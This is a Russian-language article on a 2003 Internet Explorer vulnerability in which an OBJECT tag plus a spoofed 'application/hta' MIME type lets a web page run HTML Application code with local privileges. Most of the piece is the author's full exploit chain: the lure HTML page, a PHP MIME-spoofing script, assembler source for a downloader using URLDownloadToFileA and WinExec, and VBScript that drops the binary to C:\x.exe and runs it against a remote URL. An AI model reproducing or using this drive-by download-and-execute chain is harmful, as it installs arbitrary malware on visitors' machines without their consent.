Данная статья посвящена уязвимости в Internet
Explorer от корпорации Microsoft. Ее нахождению мы
обязаны компании eEye, которая известна
такими продуктами как Retina (сетевой сканер
безопасности), Iris (пожалуй один из лучших
сниферов), а также другими, не мение
качественными проектами. Дата публикации
уязвимости 20 августа 2003 года.
Технология
Данная уязвимость связана с использованием
тэга OBJECT, который используется для
внедрения ActiveX объектов в HTML код web-страницы.
IE не проверяет содержимое загружаемого
объекта и автоматически помечает его как 'safe'.
Правда определенная проверка все таки
осуществляется, это проверка на расширение
загружаемого объекта. Так, например, если
загружается '.exe', '.pif', '.bat', '.com', '.cmd' и тому
подобные, Internet Explorer определит их как
небезопасные. В тоже время такие файлы как '.html'
считаются безопасными.
Если вникнуть в сам процесс обработки ActiveX
объектов броузером, то становится ясным,
что они сперва загружаются на локальный
компьютер после чего исполняются. Это
значит, что если объект получил статус 'безопасный',
то он исполняется в зоне 'Мой копьютер'.
Поскольку исполнимые бинарные файлы не
могут его получить, следует искать выход в
использовании других технологий.
Решением в данном случае стало
использование HTML Application. HTA - HTML приложение,
имеющее ряд преимуществ. Так, например, если
вы попытаетесь обратится к диску из HTML
файла, вы получите предупреждение,
независимо от зоны полученной документом. В
тоже время попытка сделать тоже самое в HTA
не выдаст такого предупреждения.
Интересным моментом является то, что HTML
Application может иметь расширение как '.hta' так и
'.html'. Это значит, что обращение через тэг OBJECT
к HTML файлу вполне может оказаться
обращением к HTA приложению.
<html>
...
<object data="InjectedObject.html">
</object>
...
</html>
Поскольку объект загружается на компьютер,
то в случае его исполнения он получает зону
'Мой копьютер'. Но тут возникает одна
проблема. Internet Explorer определяет файл '.html' как
HTML файл, что дает объекту статус 'безопасный',
но и не позволяет ему просто так
использовать работу с диском и другие
возможности. Решением данной проблемы,
является подмена MIME типа объекта. Тип
загружаемого файла определяется по его MIME.
Для HTML файла это 'text/html', для '.exe' приложения -
'application/x-msdownload' и т.д. Если сообщить броузеру,
что загружаемый файл HTA приложение, то
появляется возможность использования
функций HTA без каких-либо ограничений.
Подмену MIME легко осуществить с помощью CGI
приложений.
<?
header("content-type: application/hta");
?>
Таким образом мы сообщаем, что загружаемый
файл - HTA приложение, на это указывает его MIME
тип 'application/hta'. Если обратится к такому CGI
скрипту через тэг OBJECT, мы получим
возможность использования функций HTA. А
дальше уже все зависит от вашей фантазии.
Эксплоит
В качестве эксплоита я продемонстрирую
написанный мной 2DimensionOfExploits.
Он загружает произвольный файл на
пользовательскую систему, обходя все
ограничения зоны 'Internet'.
Эксплоит состоит из 3-х частей:
- 2DimensionOfExploits.html
HTML файл, содержащий тэг OBJECT. Именно на
него следует направить атакуемого
пользователя. - 2DimensionOfExploits.hta
HTA приложение, исполняющееся на целевом
компьютере. - 2DimensionOfExploits.php
CGI приложение, подменяющее MIME тип
загружаемого объекта. Собственно говоря,
оно сообщает MIME и начинает передавать
содержимое 2DimensionOfExploits.hta.
Рассмотрим их по порядку, начиная с
2DimensionOfExploits.html. Этот файл должен содержать
тэг OBJECT, который ссылается на объект
2DimensionOfExploits.php.
<html>
...
<object data="2DimensionOfExploits.php">
</object>
...
</html>
Задачей 2DimensionOfExploits.php является установка MIME
типа обьекта в 'application/hta' и загрузка
2DimensionOfExploits.hta.
<?
header("content-type: application/hta");
$szFile="2DimensionOfExploitsEnc.hta";
$hFile=fopen($szFile, "r");
$szHTML=fread($hFile,filesize($szFile));
fclose($hFile);
echo($szHTML);
?>
Теперь собственно о 2DimensionOfExploitsEnc.hta. Данный
файл в моем эксплоите должен создать файл 'C:\X.EXE',
который загрузит с Интернета произвольный
файл. Программу загрузки я написал на языке
Assembler, чтобы свести ее объем к минимальному.
Пожалуй я не буду объяснять в деталях как
она работает, а просто приведу исходник.
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
.data
szLibrary db "urlmon.dll",0
szFunction db "URLDownloadToFileA",0
szFileName db "c:\y.exe", 0
.code
start:
invoke GetCommandLineA
add ax, 0Ah
lea ecx, [eax]
push ecx
invoke LoadLibrary, addr szLibrary
invoke GetProcAddress, eax, addr szFunction
pop ecx
push 0
push 0
lea ebx, [szFileName]
push ebx
push ecx
push 0
call eax
invoke WinExec, addr szFileName, 1
invoke ExitProcess, NULL
end start
Для тех, кто не знаком с ASM, скажу, что
программа подключает функцию URLDownloadToFileA из
urlmon.dll и с ее помощью загружает файл,
указанный ей в качестве параметра (в данном
случае это fooware.exe). Загруженный файл,
сохраняется под именем 'C:\Y.EXE', после чего
запускается.
<html>
<script language=vbs>
szURL = "http://www.malware.com/fooware.exe"//для
примера загружается заставка
</script>
Вернемся к 2DimensionOfExploitsEnc.hta. Он должен
создать на компьютере файл и благополучно
запустить его. Для создания файла можно
воспользоваться методом CreateTextFile(), входящим
в обьект FileSystemObject, с последующей записью в
него. Откомпилировав программу загрузки,
запишем ее в шестнадцатеричном формате в
переменную szBinary.
<script language=vbs>
szBinary = ""
szBinary = szBinary & "4D5A90000 ... 00000000"
szBinary = szBinary & "000000000 ... 616E6E6F"
szBinary = szBinary & "742062652 ... 19E66F21"
...
szBinary = szBinary & "000000000 ... 00000000"
szApplication = "c:\x.exe"
Set hFSO = CreateObject("Scripting.FileSystemObject")
Set hFile = hFSO.CreateTextFile(szApplication, ForWriting)
Используя некоторые хитрости, эти 16-ричные
данные конвертируются в бинарные, после
чего записываются в файл.
intLength = len(szBinary)
intPosition = 1
while intPosition < intLength
char = Int("&H" & Mid(szBinary, intPosition, 2))
hFile.Write(Chr(char))
intPosition = intPosition+2
wend
hFile.Close
На данном этапе все подготовительные
действия окончены, единственное что
остается - запустить программу загрузки
файла с Интернета.
Set hShell=CreateObject("WScript.Shell")
hShell.run(szApplication+" "+szURL)
</script>
</html>
Заключение
В заключение, хочу сказать, что вся
предоставленная информация должна
использоваться исключительно в научных
целях. Все другие способы ее использования
запрещены законодательством. Но выбор уже
сделан...
Ссылки
1. Уязвимость
2. Бюлетень
3. Патч